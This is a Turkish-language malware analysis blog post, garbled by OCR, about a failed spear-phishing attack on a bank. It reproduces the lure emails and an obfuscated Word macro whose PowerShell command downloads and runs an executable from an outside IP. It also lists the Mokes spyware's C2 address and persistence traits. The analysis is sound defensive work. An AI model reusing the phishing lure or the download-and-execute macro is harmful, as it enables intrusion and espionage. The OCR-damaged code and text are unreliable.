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Her gecen yil yasanan ciddi siber givenlik ihlalleri ile baskalarinin
yasadiklarindan ders c¢ikaran kurumlar, katmanli guvenlik mimarisine daha
fazla O6nem vermeye, davranissal analiz, izleme yapan teknolojilere ve ileri
seviye siber saldirilari tespit edebilmeleri, midahale edebilmeleri adina
calisanlarina daha fazla yatiraim yapmaya basladilar. Yillar ig¢inde klasik
guvenlik yaklasiminin (antivirus, firewall, ips vs.) siber saldirganlari
tespit etmekte zayif kalmasi, engelleyememesi, kurumlari daha fazla kaynaktan
kayit (log) toplamaya (SIEM) ve bunlardan anlamli, degerli alarmlar lretmeye
(korelasyon) kanalize etti. Eskiden tehdit raporlarinda okunan ileri seviye
siber saldirilar (APT), kurumlar ic¢in uyanilamayan bir kabusa ddnlsmeye

basladi.

Yazili ve goOrsel medyadan da duyuruldugu lzere gectigimiz aylarda Akbank,
Kamuoyu Aydinlatma Platformu (KAP) lizerinden siber saldiriya ugradigini
duyurdu. Gelisme ve sonu¢ kisimlari farkli olsa da 2014 yilinda HSBC Tlrkiye
de bir siber saldiri yasadigini kamuoyu ile paylasmisti. Buglin bakildiginda
dinyada oldugu gibi Glkemizde de bankalarin (medyaya yansimayanlar da dahil)
ileri seviye siber saldirilarla karsi karsiya oldugu yadsinamaz bir gercek bu
nedenle Carbanak, Odinaff gibi ileri seviye siber saldirilar ile finansal
kurumlardan 1 milyar dolara yakin para calan organize siber sug¢ Orgutleri ile
mucadele edebilme adina regulasyonlarin ve guvenlik standartlarinin da
O0tesinde, teknoloji, egitim ve insan kaynagi konularinda finans kurumlarinin,
bankalarin calismalarina, yatirimlarina hiz kesmeden devam etmeleri

gerekmektedir.

GUnumuzde bir banka hackleniyor ise bunun ardinda yolun basinda olan 3-5 geng
arkadasin olma ihtimali oldukg¢a disik oldugu icin, “Benim antiviris bile
zararli makroyu tespit ediyor.” gibi yorumlarla bu tir ileri seviye siber
saldirilari basite indirgemek cok dogru bir yaklasim olmayacaktir. Amma
velakin, ucak kazalarinda oldugu gibi zincirleme yapilan hatalarin sonucunda
bu durumla karsilasildigi gercegi de, her hacking vakasi sonrasinda dikkatle
irdelenmesi ve herkes adina ders c¢ikarilmasi gereken onemli bir konudur.
0zellikle bankalarin hacklenmesinden sonra her kriz bir firsat dogurur
edasiyla yapilan Urin yerlestirmelerin disinda, kimi hakli kimi haksiz
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yorumlar okudukc¢a, bu yazi ile basariya ulasamayan bir APT girisimini ve
bundan sonra haberlere konu olan vakalarin okurlar tarafindan daha objektif
bir gézle degerlendirilmesine, yorumlanmasina da yardimci olmaya karar

verdim.

Bu hikaye, London School of Economics lniversitesinde bir akademisyenin e-
posta hesabinin hacklendigi varsayimi lUzerine baslar. Art niyetli kisi
tarafindan hedef kurumdan 6zenle secilmis tek bir kisiye e-posta yolu ile
sosyal miuhendislik saldirisi gerceklestirilmeye calisilir. Bu saldirida hedef
alinan kisiyi suphelendirmeme adina ilk olarak bir tane e-posta g6nderilir.
E-postay1l gonderen kisinin gercekten o uUniversitede calisan bir akademisyen
olmasi, e-posta adresinin (w.frost@lse.ac.uk) gercekten o kisiye ait olmasi,
gonderilen ilk e-postada herhangi sipheli bir ek, baglanti adresi (link)
bulunmamasi ve kelimelerin 0zenle sec¢ilip, e-postanin oldukca iyi kurgulanmis
olmasi, art niyetli kisi veya kisilerin motivasyonunu net olarak ortaya
koymaktadir. Art niyetli kisi tarafindan gonderilen son e-postada, hedef
kisiden bir formu indirmesi
(http://moya.bus.miami.edu/~emil/Documents/Application Form.doc) ve
doldurmasi istenir. Alinan onlemler sayesinde hedef kisiye ulasamayan bu e-
posta, FireEye givenlik sistemi basta olmak lUzere cok sayida sistemde
alarmlari tetikleyerek, supheli e-postanin kurumsal SOME ekibi tarafindan
manuel olarak incelenmesi surecini baslatar.

My name 1s ., I work at the London School of Economics.

I am the head of the jury panel of contests organized by The Banker: http-//www.thebanker com/
Jury panel consists of representatives of several leading universities and also high-qualification experts from the financial corporations.
Recently, one place in the expert group has become vacant.

‘We are looking for a consultant that could help us to assess candidates for Islamic Bank of the Year Awards: http://www.thebanker.com/Awards/Islamic-Bank-of-the-Year-Awards
They must have the experience in banking service and sufficient knowledge at the specifics of the region.

It's great honor for me to invite you to join our team.

Are vou interested in participation?

Best,
The Banker Awards contest is held not the first time. Best scientists of the University College London, University of Miami School of Business Administration and other universities are the main experts.
Jury panel is regularly updated.
External advisor group consists of 20 people = there 1s one vacant place now.

You will have to answer the set of questions regarding nominees of Islamic Bank of the Year Awards._ It is essential for more precise of candidates in each

At the average, it may take about 2-3 hours a week. We provide flexible work hours and remote work opportunities.

In return, you will get the certificate of the honored contest expert, and prospect for further development in this direction.
In next 3 weeks, we will need your assistance. If it goes well, we will proceed cooperation in 2017,

What do you think?

Best,

Foremost, you have to fill out and send me the Expert application form:
http://mova. bus. miami edu/~emilDocuments/Application Form. doc

Further, I will prepare the NDA_ After that. [ will send vou first questions.

Best,


https://www.fireeye.com/detect-and-prevent.html

Application Form.doc dosyasini indirip Microsoft Office yazilimi ile
actiginizda, “Some active content has been disabled / Bazi etkin igerik devre
dis1i birakildi” uyari mesaj1i ile karsilasiyorsunuz ancak Microsoft Office
Makro Analizi baslikli yazimda oldugu gibi kolay bir sekilde Macro (view ->
macros -> view macros) menusunden makroya dair bir icgerik goéremiyorsunuz
¢unkl bu zararli makro, Dridex bankacilik zararli yazilimi salgininda oldugu
gibi ActiveMime objesi (zlib ile sikistirilmis makro iceren OLE) olarak
dosyada yer aliyor. VirusTotal sitesine Application Form.doc dosyasini
yliklediginizde ise herhangi bir antiviris yaziliminin bu dosyayi zararli
olarak tespit edememesi (0/53) haliylen sizi pek sasirtmiyor.
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Expert Application Form

Form number: 000034/16

This form is processed automatically. Please use appropriate fields for your answers.
Name

e
Phone |i|
<]

E-mail

Q1. How long have you been working in the Banking field?

|i| Less than a |i| 1 year - 3 years m 3 years - 7 years \ﬁ More than 7

year years

Q2. What is your specialty?
<

Q3. How would you rate you team working skills?

|i| Very good |i| Good m Satisfactory \ﬁ Fair

Q4. How much time can you spend on the Cooperation tasks per week?

w | 2-3 hours w | 4-6 hours = | 7-9 hours % | Morethang
] [x] [] [x] wore

Q5. Do you have any professional certificates?

Application_Form.doc 1.503 characters (an approximate value),
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Application Form.doc dosyasini Notepad++ editori ile actiginizda, gomild xml,
jpg, html, png dosyalari disinda editdata.mso dosyasi hemen dikkatinizi
cekecektir. Base64 ile gizlenmis bu veriyi ac¢ip daha sonrasinda REMnux ile
gelen oledump araci ile incelediginizde makroya kolaylikla ulasabiliyorsunuz.
Makroyu herhangi bir editérle incelediginizde karmasiklastirilmis

(obfuscated) oldugunu, sadelestirildikten sonra ise bunun bir powershell
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betigi olup, http://45.63.22.17/image27.1ico dosyasi olarak indirildikten
sonra teds.exe olarak adlandirildip calistirildigini goérebilirsiniz.
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3 Content-Location: file: C:/34121nB1 /Application Form new Actl files/editdata.mso -
Content-Transfer-Encoding: base&4
Content-Type: application/x-mso

3717  QWNOaXZ1TW1ltZQRAAFAFAAAA/////whAR/BSKQALBAAAARQAAARARAARAQAARARSAAR4NOxEDVb
3 x5n/TEiAQAKEDTb+SLyAbY1PayUBAgdb4svYxgYDMSQINYu0INn6siQMTup¥YmLS1i £9X015at3cP
EvefONRtSNI6XHvPBddNj2tzrdNcreTpnZ267bkflzj9eELbf8F/ndl1ZGGRkS6P39GmELs/s/tT72
38z0vPPOzDuDdi980+vSwl+ufQVde2xDGvIGECpKZuI4GuT DiBCmEhvzE /Ng9Pzfjr+o0448QCmkb
auFgh0DaPAWCDkIghDQIeggGCOkQMiBkKialsiCaglASQjaEHAI rITKyGkAthDYSIENZBWA/hFgi3
QtghgYeQBvEfQoGE jRAZQdgHMwRTETMEFQiHgEgilEMogbIFggSEASEEWMdy,/HW/+aEMh+ItEWzSg
IFwj60i1Q8EN]1U0aaHPJ92Ealn35VXREd/ hNICnKXk/ gkWut /TEpYcORiD1+ZgbPFe9sveByAdl
fifPrOvGvDediha2A3mhBFFUDE3gRgMogC55HAdTssRZhjozDpC++2ecT1lcB81KpgogeTXODzIvRv1l
£9K/btb//9YP/3I0TvtOnINbnkOWIozHU1E4071 Jg05g5PmRVguGsB61RkIHIXc2aREZkp040x1n
13wep6VgP5etS16R1I1IFEFOSWbe2 cyMuBdE2 TDaasQF4nGPMaQX9qgG105J0XvAvw1TaoUJxIs2vRep
il1D3jnssFovVHMmm3WUgRTqutQ2kanMGtsFjsFecEkLEMUnApgREG3Z2+0Cc0GEXdTUe jnS52dFVp 7
t0aylsX8vaigpbnBdw3E4gGAGPOFgghHg/BIw95QJCD6kwDEEYLQgcRI8cYMxMezUuNckaGTTrMi
Lbnrl113QgVHB1r6+nzurPveWlBfHDgiO+dE/2fiGz5+Im/HPVZU3+i0t9jr51F5baCrVLATzLrS
2vgGeni/66ArLrn] SdbR/viX+1FEDPCHPr+Eorx5yFFR2022CwUCoakimtRvt8bkjoWioDEX4dgsy
kTyvoubWxcWddg4DEu,/ et 5TVNRuaC95vHGn1IhfI vo4VvER3+Cd/ s 6+mli JG] yBREgTLw3XvaG51l
OW3oREZcuwelo0ZtEVMO2ZzQf09I9chebnloEEobRi2ZOxmHEVeqgAZi21WCs2]joT7X2+prbV/IGrc
47damk21t,/DOyPObt/wGbUXSwiT62510Yzg+Yul0jlgsxwosXx35udIpRxx9gtyCHoundn9gGrly
a6tcNhegqglOWlts=s9ajUXtlYVirrQraéUpelsglxbantstlrG0crd4rddpUi0e8DJIVEltyscrhdR
TOxuDrl1FP+rukaALh7=50T8TjKLPE3dhRNiQNeUYS0TXT+XHOCiprSP/ gpbXG98bLecM/ JPfovnruc
nin7Y¥wet,/CoX6MIr8IUOry9aD8P1QEAERnagtNzpjIT74C2QUza+f9pNRAIsSejwYfZntt/TW3vet
TOkFs216BAN47rWOLVA/8r1lhXPJD4+WONn+Xna4sfQcZH3vR4e+2xsT4mnS5ixfIQuelKPY/npaflUh
pcwlSg0UYcvmIpWIntYk+cPEiGrygbSXDACOnSafuvkXCsakoRh5rAWi 9o0ewerB0sJg/ r1+yWat
vbdV2azWE+DHhLo902 rvhEghsVYor60XGhrry+X{ggneRkM+tghng8zDaa8BrexCuz 8o fwhGA9tA
zn¥sOvmBrss,/I1PMZcCIEM4C5uSplaiw] 6pWo+ZN31iZVIvboHv/vkT+JPBY69/ tpiUaPhy06H+599
3yfDuwSeqOESSWIDdvOulgg4xz/ /0L4nZn/ TvJFOSUL0K1loYrjgdlYYQeQgLlUAdoozYOZLUKEJbzd
VeJb53j0J9D90yUsvWdCAVTIEQiQ4LARhACKkGENTD TNEQSaSsAXX8bEyy1LC11l/ /2M3sY8kTg0r4
imUyY3kC4T1K+Mob8+TC2YDkuAnPOnjwlKobE60IDaogWG5SPtCaDRRCHNE jXiXJDT7iCSca8CsID
jrBcazCBcsKDICzXGAYPEtIJcN6iCU3 7TDRiJnARCSKEGzYaeaAVFCzepDGISVETI 9y=sMchj4ZHCTRgD
FMOKFbAulxgblUoojwVONIXraTHITi0113eZfrGQEIESrLYbEGRCENZikqgCU2 TpMEljauxQo9WJfr
EEvTgeJYe00awWNFVGspbk0ZwCEqTWSdrhPwFhSgmZ LPcSGnUHN3LEH+RRISbtoz6NyeWSukptuVe
WSbGHISO0ZluuEzA0g9KPhovlAeaZlnl UsC3XAHK LzSnPMLBEGRbe Lg9¥ tuUUz TDEScHPtpzaGVaF
BJLal7f8xeFFHpXtywlCDM=nD/L25YYghlUlTxn2mémeDCphudngSEMAD T 6c6nU3 cyWUNXRPw+JIM LJ
gzapM+1FEnf / 2bfZWhHxDNrz 1XJyvgl24gGgci 6LZCi IsIERzWy S S0 foFpHxVasnBRkNAe 2HEIHvu
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root@remnux: fhome/remnux/Desktop/malware -
File Edit Tabs Help

root@remnux:/home/remnux/Desktop/malware# oledump.py editdata.mso

i B 513 'PROJECT'

2 41 'PROJECTwm'

3: M 18168 'VBA/ThisDocument'
4: 4742 'VBA/_VBA_ PROJECT'
5: 776 'VBA/dir'

root@remnux:/home/remnux/Desktop/malware# oledump.py -s 3 -v editdata.
mso > editdata.txt
root@remnux: /home/remnux/Desktop/malware# [

"‘7\ - P _: Ty - | l-mot@remnux: Jh... ﬁ _; 12:20 @y
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File Edit Search View Tools Options Language Buffers Help

1 editdata.txt

tehkjdgjasie)
tethngasill
ghdalln = "://°’ $
tehkjdgjas(2)
tehkjdgjas(3)
gwuehhdnndnd =
tehkjdgjas(4)
tehkjdgjas(5)
tehkjdgjasie)
tehkjdgjas(7)
igwhdnnc = "Clien
tehkjdgjas(8)
tehkjdgjas(9)
tehkjdgjas(1@)
tehkjdgjas(11)
tehkjdgjas(12)
tehkjdgjas(13)
tehkjdgjas(14)
tehkjdgjas(15)
tehkjdgjas(16)
tehkjdgjas(17)
tethngasilal =
uagsnkasd = ct($hKJGk5d+$0qwehd)) ('Do"+'wnl"”
tehkjdgjas(19)
tehkjdgjas(2e)
tehkjdgjas(21)
tehkjdgjas(22)
tehkjdgjas(23)
tehkjdgjas(24)
tehkjdgjas(25)
tehkjdgjas(ZB)
hdnklasld = "oa
tehk]dg]asi2?l

KJGk5d='Net.';$oqwehd='ﬁeb“

dk + jahdk + ughnnnnx + gyisdl + ghdalln

; (New-0bje”

=Z_E_H'—_|D.I_CJ_'D= -@r—':"—'.ﬂ

| [ (| T O [ [
Ad33dd585

f 1le ).invoke('htt'+5jok+'45.

| = | T T I I

e dddnisdd

i[.[mot@...]][- mot@r...]][@ [Mozill...m‘ | malware]]@editda...] T "’. 06:09 .
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1 editdata.txt *

Private Sub document_open()

Dim X As Integer, I As Integer, tehkjdgjas(51) As String, iuytfdcas(31) As String, @
Gbvdfff(9) As String

Dim oiuytfcx As String, iuytgffffff As Boolean, Count As Long, T As Long

asuidk = "cm"

jahdk = "d /fc powers"

ughnnnnx = "hell -c % HHsad={$enu:temp”

gyisdl = "+'}I $jok="p"

ghdalln = ": sd "Met. " ;Soqwehd="Web"

qwuehhdnndné asu1dk + jahdk + ughnnnnx + gyisdl + ghdalln
igwhdnnc = "Client’; (New-0Obje"

uagsnkasd = “ct($hKJGk5d+$0qwehd)).('Do'+'wn11
hdnklasld = "padf'+"ile').invoke('htt'+%$jok+clear
'45."

ashdnkln =|"63.22.17/image2"

ansjnasld = |"7
Shell gwuehhdnnd
End Sub

' JSyHHsad) ; Invoke-Item($yHHsad) "
nd + igwhdnnc + uagsnkasd + hdnklasld + ashdnkln + ansjnasld, ©

'Password Generation and recovery protocol, for FDF Databases’®
'{c) 2811 FDF Holdings corp'

'written by Jesse Fender, all rights reserved’

'To be used by FDF Software only!’

'| Data Password Generator and Recovery, Recovery may not work at
'| first but will be implemented later on in Time...

|

APT odakli siber saldirilarinda siklikla rastladigimiz gibi teds.exe
dosyasinin da calinti oldugunu disindigim bir firmaya ait olan dijital
sertifika imzalanmis olmasi, art niyetli kisilerin uygulama kontrolu
(application control) yapan yazilimlari atlatmak amaciyla bu yonteme
basvurmus olduklarini acikca ortaya koyuyordu. teds.exe dosyasini VirusTotal
sitesine ylklettiginizde ise bu defa 2 antiviris yaziliminin bu dosyayi
zararli yazilim olarak tespit ettigini gorebiliyorsunuz.



General | Details | Certification Path |

|_a Certificate Information

This certificate is intended for the following purpose(s):

. * Ensures software came from software publisher
» Protects software from alteration after publication

* Refer to the certification authority's statement for details.

Issued to: LLC Agera Lab

Issued by: GlobalSian Extended Validation CodeSigning CA -
SHAZ56 -G3 L]

Valid from 10, 10. 2016 to 11. 10. 2017

[Install Certificate... | | Issuer Statement |

Learn more about certificates

Lok ]

Go g]e "llc agera lab” y Q

All Images Videos Shopping MNews More Settings Tools

About 120,000 results (0.99 seconds)

Mo results found for "llc agera lab™.

Results for llc agera lab (without quotes):

Agera

www.ageralabs.com/ ~

Leading distributor of wholesale skincare and clinical skincare to dermatologists, plastic surgeons
and spas. Chemical Peels, Extreme Anti-Aging and Acne .

Agera Laboratories Inc.: Private Company Information - Businessweek
www.bloomberg.com/research/stocks/private/snapshot. asp?priveapld=28692309 ~

Agera Laboratories Inc. company research & investing information. .. Company COverview of Agera
Laboratories Inc. ... 4Life Research, LLC, United States ...
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File name: teds.exe

Detection ratio:  2/56

Analysis date: 2016-12-10 16:32:31 UTC ( 0 minutes ago )
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UPX ile paketlenmis olan teds.exe calistirildiktan sonra kendisini %APPDATAS%

klasdrine Adobe, Mozilla/Firefox, Google/Chrome, Dropbox, Skype, Hewlett-
Packard klasdrlerinden birine mozillacache.exe, nacl32.exe, hpprint.exe,
hpscan.exe skypehelper.exe, dropboxhelper.exe, acrobroker.exe, adi altinda

kopyalayip ardindan calistirmaktadir. Calistirilir calistirilmaz ise yaptigi
ilk is, IP lokasyonu Fransa’yi isaret eden http://91.121.120.198/v1 adresine
istekte bulunarak kalpatisi (heartbeat) mesaji iletmektedir.


https://en.wikipedia.org/wiki/UPX
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& cru | er | | ot Log | ['H MNo... | ® pre. | F Mem, . I L) cal... | =5 SEH | 1] Se.. | & sy... | £ So... | ' Ref... |'~=1’$Th | +/ sn... | e Ha..
#® | Al Modules (strings) [E) | Range: 00D7BCO0-00D7BCO3 (Region nad32.unpacked.exe) | | |
Address |Disassembly string -
0040070F |mov dword ptr ds:[123FB98] ,eax T |—
0040030F | mov dword ptr ss:[esp],nacl3z.unpacked.D2B000 "1ibgcc_s_dwz2-1.d11" _I
00400325 | mov dword ptr ss:[esp],nacl3z.unpacked.D2B000 "libgcc_s_dwz-1.d11"
00400340 | mov dword ptr ss:[esp+4],nacl32.unpacked.D9B013 __register_frame_info™
00400355 | mov dword ptr ss:[esp+4],nacl32.unpacked.D9B029 deregister_frame_info™
00400528E | mov dword ptr ss:[esp],nacl32.unpacked.D9B041 "libgcj-16.d11"
00400940 | mov dword ptr ss:[esp+4],nacl32.unpacked.D9B04F "_Jv_RegisterClasses"”
0040130F |mov dword ptr ds:[123FB98] ,eax e
0040150F | mov dword ptr ss:[esp],nacl3z.unpacked.D9B000 "libgcc_s_dwz-1.d11"
00401525 | mov dword ptr ss:[esp],nacl3z.unpacked.D3B000 "libgcc_s_dw2-1.d11"
00401540 | mov dword ptr ss:[esp+4],nacl32.unpacked.D9B013 "__register_frame_info™
00401558 | mov dword ptr ss:[esp+4],nacl132.unpacked.D9B029 "__deregister_frame_info"
00401588 | mov dword ptr ss:[esp],nacl32. unpacked.D9B041 "libgcj-16.d11"
00401540 | mov dword ptr ss:[esp+4],nacl32.unpacked.D9B04F "_Jv_RegistercClasses"”
00401CED | mov dword ptr ss:[esp+4],nacl3z.unpacked.D2B080 "SetThreadErrorMode”
00402FE7 |mov dword ptr ss:[esp],nacl3z.unpacked.D9B180 "SkypeHelper™
00402082 |mov dword ptr ss:[esp],nacl32.unpacked.D9B18C "DropboxHelper™
004020CA | mov dword ptr ss:[esp],nacl32. unpacked.D9B19A "bin"
004021EE | mov dword ptr ss:[esp],nacl22.unpacked.D9B19E "nacl3z2"
004031CF |mov dword ptr ss:[esp],nacl3z.unpacked.D9B1AS "Chrome"
004032C0 | mov dword ptr ss:[esp],nacl32.unpacked.D9B1AC "mozillacache™
00403204 | mov dword ptr ss:[esp],nacl3z.unpacked.D9B1B9 "Firefox"
004033C5 (mov dword ptr ss:[esp],nacl3z.unpacked.DIB1C1 "AcroBroker™
00402303 | mov dword ptr ss:[esp],nacl32.unpacked.D9B1CC "Acrobat"
004024CA | mov dword ptr ss:[esp],nacl22. unpacked.D9B1D4 "hpprint™
00402580 | mov dword ptr ss:[esp],nacl22.unpacked.D981DC "hpscan"
00404EFS| cmp edi,nacl3z. unpacked DIEG44 "http: //91.121.120.198/v1"
00404FFS | mov dwur‘d ptr ss:[esp+4] ,nacl3z.unpacked.D9E5AD " SO0, exe”
004055F2 ( mov dword ptr ss:[esp],nac132.unpacked.D935AE Skt
00405C24 | mov dword ptr ss:[esp+ic],nacl32.unpacked.D9B67C &"http: //91.121.120.198/v1"
004050320 | cmp eax,nacl32.unpacked.D9BE44 "http: /,/91.121.120.198/v1"
0040612C | mov dword ptr ss:[esp],nacl13z.unpacked.D9B700 L"urlmon.d11™
00406146 | mov dword ptr ss:[esp+4],nacl3z.unpacked.D9B716 "obtainuUserAgentstring™
004062E0 | mov dword ptr ss:[esp],nacl32.unpacked.D9B72C "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOwW&4; Trident
00406ACD | mov dword ptr ss:[esp],nacl32.unpacked.D9B77F "Close™
00406AEL | mov dword ptr ss:[esp],nacl32.unpacked.D3B785 "Connection™
DD4D¢C'«‘E mov dword ptr ss:[esp],nacl32.unpacked.D9B730 "Accept Language"
Z2 | mov dword ptr ss:[esp],nacl2z.unpacked.D9B774 "User-aAgent™
z|mov edi,nacl3z.unpacked.D3B7TAS “GET™"
mov eax,nacl3z.unpacked.DIBFAD
mov dword ptr ss:[esp+l4],nacl32.unpacked.D9B7FS
mov dword ptr ss:[esp+C],nacl3z.unpacked.D3B7AS
mov dword ptr ss:[esp+4],nacl32.unpacked.D3E7E2 g
mov dword ptr ss:[esp+4],nacl32.unpacked.D9B7BS ryn® -
e | 3
Search: (['ype here to filter results. .. [] Regex
r i e e e L ——— 5009
Command: Default
| Paused  |Breakpoint at 00402FDO set! | Time Wasted Debugging: 0:00:31:29
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_. Library function [ Data [l Regular function Unexplored [l Instruction Il External symbol

Funcﬁonswindow O & x | I.D... |:| | I.D... |:| | E St m | @ He... |] | St... |:J | lEn. |:J I +E| Im... |:J ‘B
Function name Segr * || Address Length Type  String =
(7] nullsub_1 AT = . date:00D980E0 L

sub_401170 text ‘s’ .rdata:00D9B0D0 00000016 unic... :/keys/bot

start text “s'| .rdata:00D9B110 0000001A unic... kernel32.dll

sub_401500 et ‘s’ .rdata:00D9E150 00000024 unic... Microsoft/Windows

sub_401600 et “s’| .rdata:00D9B1F4 00000006 unic... Y

sub_401630 ded [S] .rdata:0009B20C 00000004 unic.. copy

sub_401600 ket ‘s’ .rdata:00D9B228 00000006 unic... /C
Lf| sub_401710 dedt | rdata:00D9B250 00000010 unic.. cmd.exe

sub_4017E0 et s rdata:00D9B270 00000004 unic.. tmp

sub_401AS0 et s rdata:00D9B290 00000010 unic.. avp.exe

sub_401B60 et rdata:00D9B2B0 00000014 unic... explorer.exe

sub_401E70 dext *s'| rdata:00D9B2ZF0 0000001C unic.. dwservice.exe

sub_401B80 et Fs] .rdata:00D9B330 00000014 unic.. dwengine.exe

sub_401B30 disy] Fs] .rdata:00D9B35C 00000004 unic.. .exe

sub_401BE0 text s .rdata:00D9B390 00000020 unic.. Hewlett-Packard

sub_401C00 et Fs] .rdata:00D9B3D0 00000020 unic... Hewlett-Packard

sub_401CB0 et Fs] .rdatz:00D9B400 0000000C unic.. Adobe

sub_401CC0 dext Fs] .rdat:00D9B430 00000010 unic.. Mozilla
7] sub_401D60 ted I [5] .rdata:00D9B450 0000000E unic... Google
7| sub_401DD0 tet | [S] .rdatz:00D9B470 00000010 unic.. Dropbox
Lf | sub_401ECO et Fs] .rdat2:00D9B490 0000000C unic... Skype
|| sub_401F10 dedt T ER cdataiNNGRARN AOOONNNE vinic__ Run e
1, . 3 4 m 3
Line & of 26633 Linel of 6918
Outputwindow O f x
IEnPython vl.7. l] final (59;131 a) (c) The IDnPylL:hon Team (1dapythun@googlégroups com> it

Command “'MakeAscii™ failed
Command “‘MakeAscii failed D
Command “Makefscii” failed

a4

Down Disk: S5GB
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Zararli yazilimda yer alan karakter dizileri (strings) Ulzerinde arastirma
yapmaya devam ettiginizde cok gec¢meden bu zararli yazilimin 2016 yilinin
basinda Kaspersky tarafindan kesfedilen, Linux, Windows, macOS isletim
sistemlerini hedef alan Mokes isimli ses, goOruntiu ve tus kaydi yapabilen

casus bir yazilim oldugunu anlayabiliyorsunuz.


https://securelist.com/blog/research/73503/from-linux-to-windows-new-family-of-cross-platform-desktop-backdoors-discovered/
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| Library function [ Data I Regular function  Unexplored [l Instruction [l External symbol

Functions window 08 x|[FEo.0 | Roc. 0 [Fo. 0 [BHse. 0 [ Bre. @ | Bse. 0 [ Be. B[
Function name Segr * || inction Instruction =
z nullsub_1 et |J 1b_401500 mov  [esp+38h+|pModuleMame], offset alibgee_s_dw2l_; "libgoc_s_dw2-1.dII" |—|
z sub_401170 Jtext 1b_401500 mov  [esp+38h+IpModuleMame], offset alibgoc_s_dw2l_; "libgoc_s_dw2-1.dII"

E start text 1b_92C9F0 and edx, offset aGocRevl BuiltBy ; "GCC: (Revl, Built by MSYS2 project) 6.1"...

z sub_401500 et 1b_92CELO0 test eax, offset aGecRevlBuiltBy ; "GCC: (Revl, Built by MSYS2 project) 6.1
E sub_401600 text ib_92CFEQ and  edyx, offset aGccRevl BuiltBy ; "GCC: (Revd, Built by MSYS2 project) 6.1"...

z sub_401630 et b 920190 test eax, offset aGecRevlBuiltBy ; "GCC: (Revl, Built by MSYS2 project) 6.1"...

z sub_401600 text | add ebx, offset aZEkoms3rdparty ; "Z:/Ekoms/3rdparty/qt/bot-main-win32-gcc”
z sub_401710 et ; CHAR alibgee_s_dw2l_[]

z sub_4017E0 et db 'win32-gcc/lib/engines'0

z sub_401A80 Jdext db 'win32-gcc/private’,0

z sub_401B60 Jtext db 'win32-gec',0

E sub_401B70 Jtext db ‘win32-gcc/certs',0

z sub_401B80 Jtext db 'win32-gco/cert.pem’,0

z sub_401B30 et _ db 'static release build; by GCCB81.0)"

M1+ scaone et db '-gec',0

-

1) [y

1 [

aGecRevl Built 0 db 'GCC: (Revl, Built by MSY52 project)’
aGecRevlBuilt 1 db 'GCC: (Revl, Built by MSY52 project)’
.'rr. Graph overview O & x aGecRevl Built_2 db 'GCC: (Revl, Built by MSYS2 project)’

{ s
-
m
(V%)
g,
%
[uv)

aGecRevl Built_3 db 'GCC: (Revl, Built by MSY52 project)’
aGecRevl Built_4 db 'GCC: (Revl, Built by MSY52 project)’
aGecRevl Built_5 db 'GCC: (Revl, Built by MSYS2 project)’

aGccRevlBuilt_6 db 'GCC: (Revl, Built by M5Y52 project)’ -
4 [ [l | »
Line 7 of 1439
Output window O & X
apply_callee_type_pluginzrun 2
ApplyCalleeType: Starting up
ApplyCalleeType: Using ea: Bx809c8f11 L
ApplycalleeType: Cannot (or shouldn't) run when call optype is o_near (4
Pattern “gcc™ was not found. 5

Disk: 5GB
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| Library function [ Data [ Regular function  Unexplored [l Instruction [l External symbol

(7] Functions window 08 x|[En.0 [ Roe. 0 | Eo.0 | Bst. 8 [Tre. @ [[Bse. 0 [ Den. 0[P
Function name Segr * || Address Length Type  String =
[#] nullsub_1 et || 5] .rdat=:00D9B4B0 00000008 unic.. Run (4
z sub 401170 et E .rdata:00D3B4 00 0000001E unic... CurrentVersion
E start text s’ .rdata:00D9B510 00000010 unic., Windows
z sub_401500 text E .rdata:0009B530 00000014 unic... Microsoft
E sub_401600 Jtext ‘s’ .rdata:00D9B570 00000012 unic.. Software
z sub_401630 et [s] .rdata:00D9ESD0 00000010 unic,., dd*.ddt
z sub_401600 text s’ .rdata:00D9B5F0 00000010 unic.. kk*.kkt
E sub_401710 text E .rdata:0009B510 00000010 unic... aa*.aat
z sub_4017E0 et “s’| .rdata:00D9B630 00000010 unic... ss*.sst
z sub_401A80 text [s] .rdata:00D9B6B0 00000024 unic... ddMMyy-HHmmss-zzz
z sub_401B60 text ‘s’ .rdata:00D3B6F0 0000000E unic... ddMMyy
z sub_401B70 Jext [S] .rdata:00D9B850 00000032 unic... application/octet-stream
z sub_401B80 text ‘s’ .rdata:00D9BEE0 00000014 unic.. Content-Type
z sub_401B30 deut | I'—i .rdata:0009B330 00000018 unic.. aa%l-%2.aat
:T R o “s’| .rdata:00D9B970 00000014 unic... audio/pcm
- ‘s’ .rdata:00D9BIF0 00000004 unic.. JPEG
LiDEE o0 5] .rdstz:00DIBOFO 00000012 unic... k%l kkt
%, Graph overview 0 & x ||[s] .rdata:00DIBEI4 00000006 unic... Jin
B : [5] .rdata:00D9BE2C 00000008 unic.. nhn[
‘s’ .rdata:00D9BE44 00000004 unic.. Ox%l
[S] rdat2:00D9BE6D 00000008 unic.. f%1
“s'| .rdata:00D9BETE 00000004 unic... zoom %
4 | (1 3
gece: not found
Outputwindow O & x
apply_callee_type plugin:run &

ApplyCalleeType: Starting up

ApplyCalleeType: Using ea: BxB09c8fid L
ApplycalleeType: Cannot (or shouldn’t) run when call optype is o_near (4
Pattern “gcc™ was not found. i

A0: _idle | Down Disk: 5GB



Sadede gelecek olursak, Kaspersky vb. guvenlik sirketlerinin tehdit
raporlarinda okudugunuz ve okurken “Vay canina adamlar neler yapmislar, nasil
yapmislar..” dediginiz o APT gruplari, siz o raporlari okurken aslinda sizi ve
kurumunuzu hedef aliyor olabilir. Bu gruplarla micadele edebilme adina
glivenlik teknolojileri, egitim ve insan kaynagi yatirimlarinizi bir sonraki
yila otelemeden Once tekrar, tekrar ve tekrar dusunmekte fayda olacaktir.

Bir sonraki yazida goOrismek dilegiyle herkese givenli gunler dilerim.

Not: Bu yazi ayrica Pi Hediyem Var #10 oyununun ¢Ozum yolunu da icermektedir.


https://www.mertsarica.com/pi-hediyem-var-10/

